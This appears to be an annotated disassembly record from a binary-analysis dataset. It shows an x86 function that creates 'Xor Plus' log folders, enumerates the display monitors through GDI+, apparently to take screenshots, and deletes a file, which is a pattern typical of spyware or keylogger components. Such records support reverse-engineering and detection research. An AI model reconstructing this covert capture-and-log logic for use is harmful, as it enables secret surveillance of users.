Function at 0x10014f00
Capabilities:
Create directory
Delete file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x10042870
mov eax, dword fs:[0]
push eax
sub esp, 0x148
mov eax, dword [0x1005b034]
xor eax, esp
mov dword [esp + 0x140], eax
push ebx
push esi
push edi
mov eax, dword [0x1005b034]
xor eax, esp
push eax
lea eax, [esp + 0x158]
mov dword fs:[0], eax
mov eax, dword [0x101774d4]
mov ecx, eax
lea esi, [ecx + 1]
lea ebx, [ebx]
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x10014f50
sub ecx, esi
mov edi, ecx
mov esi, 0x1016dddc
call fcn.10002d20
cmp dword [0x1016ddf0], 0x10
mov eax, dword [0x1016dddc]
jae 0x10014f75
mov eax, esi
mov ecx, str.00_00_0000
lea ebx, [ebx]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x10014fa2
test dl, dl
je 0x10014f9c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x10014fa2
add eax, 2
add ecx, 2
test dl, dl
jne 0x10014f80
xor ebx, ebx
xor eax, eax
jmp 0x10014fa9
sbb eax, eax
sbb eax, 0xffffffff
xor ebx, ebx
cmp eax, ebx
jne 0x100150b7
push ebx
call dword [sym.imp.MSVCR100.dll__time64]
mov dword [esp + 0x18], eax
lea eax, [esp + 0x18]
add esp, 4
push eax
mov dword [esp + 0x1c], edx
call dword [sym.imp.MSVCR100.dll__localtime64]
mov esi, eax
mov ecx, 9
lea edi, [esp + 0x130]
rep movsd dword es:[edi], dword [esi]
add esp, 4
lea ecx, [esp + 0x3c]
push ecx
call fcn.1000b7f0
mov dword [esp + 0x160], ebx
lea edx, [esp + 0x12c]
mov eax, str._d__m__Y
mov dword [esp + 0x1c], edx
mov dword [esp + 0x20], eax
inc eax
cmp byte [eax], 0
jne 0x10015006
mov dword [esp + 0x24], eax
lea eax, [esp + 0x3c]
push eax
lea ecx, [esp + 0x20]
call fcn.10016490
add esp, 4
lea ecx, [esp + 0xd8]
lea eax, [esp + 0x3c]
call fcn.1000b8a0
mov edi, eax
mov esi, 0x1016dddc
mov byte [esp + 0x160], 1
call fcn.10003280
cmp dword [esp + 0xec], 0x10
jb 0x10015060
mov ecx, dword [esp + 0xd8]
push ecx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov eax, dword [esp + 0x3c]
mov ecx, dword [eax + 4]
lea edx, [esp + 0x8c]
mov dword [esp + 0x38], edx
mov dword [esp + ecx + 0x3c], vtable.std::basic_ostringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
lea ecx, [esp + 0x40]
mov dword [esp + 0x160], 2
call fcn.1000b8c0
mov dword [esp + 0x160], 0xffffffff
mov edx, dword [esp + 0x3c]
mov ecx, dword [sym.imp.MSVCP100.dll_const_std::basic_ostream_char__struct_std::char_traits_char__::vftable]
mov eax, dword [edx + 4]
mov dword [esp + eax + 0x3c], ecx
lea ecx, [esp + 0x8c]
call dword [sym.imp.MSVCP100.dll_public_virtual:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::destructor_void_]
mov esi, dword [sym.imp.MSVCR100.dll__mkdir]
push str.Xor_Plus
call esi
add esp, 4
push str.Xor_PlusLogs
call esi
add esp, 4
push ebx
lea edx, [esp + 0x2c]
push edx
lea eax, [esp + 0x18]
push eax
mov dword [esp + 0x34], 1
mov dword [esp + 0x38], ebx
mov dword [esp + 0x3c], ebx
mov dword [esp + 0x40], ebx
call dword [sym.imp.gdiplus.dll_GdiplusStartup]
push ebx
call dword [sym.imp.USER32.dll_GetDC]
push ebx
push 0x100116e0
mov esi, eax
push ebx
push esi
call dword [sym.imp.USER32.dll_EnumDisplayMonitors]
push esi
push ebx
call dword [sym.imp.USER32.dll_ReleaseDC]
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.gdiplus.dll_GdiplusShutdown]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.10012510
mov ebx, 0xf
lea edi, [ebx + 9]
mov eax, str.gY9ioE8iS7L1amY8qYfrQ
lea esi, [esp + 0xd8]
mov dword [esp + 0xec], ebx
mov dword [esp + 0xe8], 0
mov byte [esp + 0xd8], 0
call fcn.10002d20
mov edx, esi
push edx
lea eax, [esp + 0xf8]
push eax
mov dword [esp + 0x168], 3
call fcn.10002580
add esp, 8
mov esi, 0x10
mov byte [esp + 0x160], 5
cmp dword [esp + 0xec], esi
jb 0x100151a8
mov ecx, dword [esp + 0xd8]
push ecx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov eax, dword [esp + 0xf4]
mov dword [esp + 0xec], ebx
mov dword [esp + 0xe8], 0
mov byte [esp + 0xd8], 0
cmp dword [esp + 0x108], esi
jae 0x100151d9
lea eax, [esp + 0xf4]
push eax
call dword [sym.imp.MSVCR100.dll_remove]
lea edx, [esp + 0x114]
add esp, 4
push edx
lea ecx, [esp + 0xf8]
call fcn.10002420
add esp, 4
mov edi, eax
lea esi, [esp + 0xf4]
mov byte [esp + 0x160], 6
call fcn.10003280
mov esi, 0x10
cmp dword [esp + 0x124], esi
jb 0x1001522f
mov eax, dword [esp + 0x110]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
cmp dword [esp + 0x108], esi
jb 0x10015249
mov ecx, dword [esp + 0xf4]
push ecx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov ecx, dword [esp + 0x158]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x140]
xor ecx, esp
call fcn.1003e6b0
mov esp, ebp
pop ebp
ret